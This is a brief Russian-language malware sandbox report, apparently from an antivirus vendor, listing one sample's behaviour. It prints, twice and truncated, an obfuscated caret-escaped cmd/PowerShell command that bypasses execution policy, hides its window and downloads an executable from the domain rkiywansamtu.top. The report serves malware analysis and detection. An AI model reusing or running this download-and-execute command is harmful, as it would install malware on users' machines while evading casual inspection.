Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://rkiywansamtu.top/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "powE^RshEll.^Ex^e -E^XEc^UtIO^npO^l^Icy Byp^a^SS -^NOPrO^file^ ^-WINdOWs^tyLe HIDd^E^N^ (^neW-^OB^Je^cT S^yst^eM.net.w^EBcli^EnT).^d^oWnlO^a^DFiLE^('http://rkiywansamtu.top/search....
Сетевая активность
UDP
- DNS ASK rk####nsamtu.top
Другое
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "powE^RshEll.^Ex^e -E^XEc^UtIO^npO^l^Icy Byp^a^SS -^NOPrO^file^ ^-WINdOWs^tyLe HIDd^E^N^ (^neW-^OB^Je^cT S^yst^eM.net.w^EBcli^EnT).^d^oWnlO^a^DFiLE^('http://rkiywansamtu.top/search.... (со скрытым окном)
